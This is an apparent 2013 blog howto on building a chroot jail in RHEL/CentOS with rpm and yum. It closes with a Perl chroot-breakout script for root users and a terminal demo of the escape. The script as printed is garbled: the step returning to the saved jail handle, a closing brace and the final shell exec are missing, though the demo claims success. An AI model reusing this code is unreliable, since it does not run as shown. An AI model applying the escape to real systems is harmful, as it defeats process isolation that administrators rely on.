October 03, 2013

Making chroot jail in RHEL/CentOS and breaking it

Here is a small howto on making chroot jail in RHEL/CentOS. In the end of article is a little script which shows how chroot jail can be broken.

  1. Getting CentOS release file

     wget -c http://mirror.centos.org/centos/6.3/os/x86_64/Packages/centos-release-6-3.el6.centos.9.x86_64.rpm
  2. Creating a directory where your chroot jail will be set

     mkdir -p /usr/local/chroot
  3. Installing CentOS release file in your chroot jail path

     rpm -i --root=/usr/local/chroot --nodeps centos-release-6-3.el6.centos.9.x86_64.rpm
  4. This is needed in RHEL, copy CentOS RPM gpg keys to your current system

     cp /usr/local/chroot/etc/pki/rpm-gpg/*CentOS* /etc/pki/rpm-gpg/
  5. Install yum (this will install necessary BaseOS prerequisites as well)

     yum --noplugins --installroot=/usr/local/chroot install yum -y
  6. Copy standard user files to the root directory

     cp /usr/local/chroot/etc/skel/.??* /usr/local/chroot/root
  7. Consider copying resolv.conf file in case you want to access network from your chroot jail

     cp /etc/resolv.conf /usr/local/chroot/etc/resolv.conf
  8. Optional: Bind /proc and /dev to your chroot jail

     mount --bind /proc /usr/local/chroot/proc
     mount --bind /dev /usr/local/chroot/dev
  9. Finally you can chroot into your chroot jail

     chroot /usr/local/chroot /bin/bash -l

When finish working in chroot jail, do not forget to umount your /dev and /proc binds

umount /usr/local/chroot/dev
umount /usr/local/chroot/proc

Breaking chroot jail

Here is a little perl script that breaks this chroot jail. Note: This can be done only under root (id:0) user.

[root@laptop ~]# cat unchroot.pl
#!/usr/bin/perl -w
use strict;
# unchroot.pl Dec 2007
# http://pentestmonkey.net/blog/chroot-breakout-perl

# This script may be used for legal purposes only.

# Go to the root of the jail
chdir "/";

# Open filehandle to root of jail
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

# Create a subdir, move into it
mkdir "mysubdir";
chdir "mysubdir";

# Lock ourselves in a new jail
chroot ".";

# Use our filehandle to get back to the root of the old jail

# Get to the real root
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
        chdir "..";
#foreach my $count (1..100) {
#        chdir "..";

# Lock ourselves in real root - so we're not really in a jail at all now
chroot ".";

# Start an un-jailed shell

And the example demonstrating above script in action

[root@laptop ~]# df -h /
df: Warning: cannot read table of mounted file systems: No such file or directory
Filesystem            Size  Used Avail Use% Mounted on
-                     286G   42G  242G  15% /

[root@laptop ~]# ./unchroot.pl

sh-4.1# df -h /
Filesystem            Size  Used Avail Use% Mounted on
                      286G   42G  242G  15% /

Hooah! We broke the jail.